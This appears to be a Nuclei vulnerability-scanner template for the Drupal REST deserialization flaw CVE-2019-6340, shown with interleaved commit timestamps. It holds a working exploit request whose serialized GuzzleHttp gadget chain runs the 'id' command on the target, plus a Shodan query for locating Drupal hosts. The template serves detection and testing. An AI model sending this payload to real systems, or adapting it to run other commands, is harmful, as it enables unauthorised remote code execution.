2021-01-02 04:59:06 +00:00
id : CVE-2019-6340
2020-11-21 07:37:33 +00:00
info :
2022-07-26 13:45:11 +00:00
name : Drupal - Remote Code Execution
2020-11-21 15:09:12 +00:00
author : madrobot
2021-09-10 11:26:40 +00:00
severity : high
2022-07-26 13:45:11 +00:00
description : Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10 V contain certain field types that do not properly sanitize data from non-form sources, which can lead to arbitrary PHP code execution in some cases.
2023-09-06 12:53:28 +00:00
remediation : |
Apply the official security patch provided by Drupal to fix the deserialization vulnerability.
2022-04-22 10:38:41 +00:00
reference :
2022-05-17 09:18:12 +00:00
- https://www.drupal.org/sa-core-2019-003
- https://www.synology.com/security/advisory/Synology_SA_19_09
2022-07-26 13:45:11 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2019-6340
2023-08-31 11:46:18 +00:00
- https://www.exploit-db.com/exploits/46452/
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 8.1
2021-09-10 11:26:40 +00:00
cve-id : CVE-2019-6340
cwe-id : CWE-502
2023-10-19 10:38:59 +00:00
epss-score : 0.97484
2023-11-09 06:04:52 +00:00
epss-percentile : 0.99967
2023-09-06 12:53:28 +00:00
cpe : cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*
2022-07-07 06:45:42 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2023-07-14 20:57:38 +00:00
vendor : drupal
product : drupal
2023-09-06 12:53:28 +00:00
shodan-query : http.component:"drupal"
2023-07-14 20:57:38 +00:00
tags : cve,cve2019,drupal,rce,kev
2020-11-21 07:37:33 +00:00
2023-04-27 04:28:59 +00:00
http :
2020-11-21 07:37:33 +00:00
- method : POST
path :
- '{{BaseURL}}/node/1?_format=hal_json'
2023-07-14 20:57:38 +00:00
body : '{ "link": [ { "value": "link", "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" } ], "_links": { "type": { "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default" } } }'
2020-11-21 07:37:33 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-14 20:57:38 +00:00
part : body
2020-11-21 07:37:33 +00:00
words :
- "uid="
2020-11-21 15:09:12 +00:00
- "gid="
2021-10-15 07:01:39 +00:00
- "groups="
2020-11-21 15:09:12 +00:00
condition : and
2023-07-14 20:57:38 +00:00
2020-11-21 07:37:33 +00:00
- type : status
status :
2021-10-15 07:01:39 +00:00
- 200
2023-11-07 17:58:22 +00:00
# digest: 490a0046304402206eb825a81ec1a5053f40bcc1be5f4c17c1eb3a8eb5b54ef8ffbea1c441e3f97a02200419e90036eb69afa6659481ef4262aadd9f7e269ab0912d16bef8b7dc60a758:922c64590222798bb761d5b6d8e72950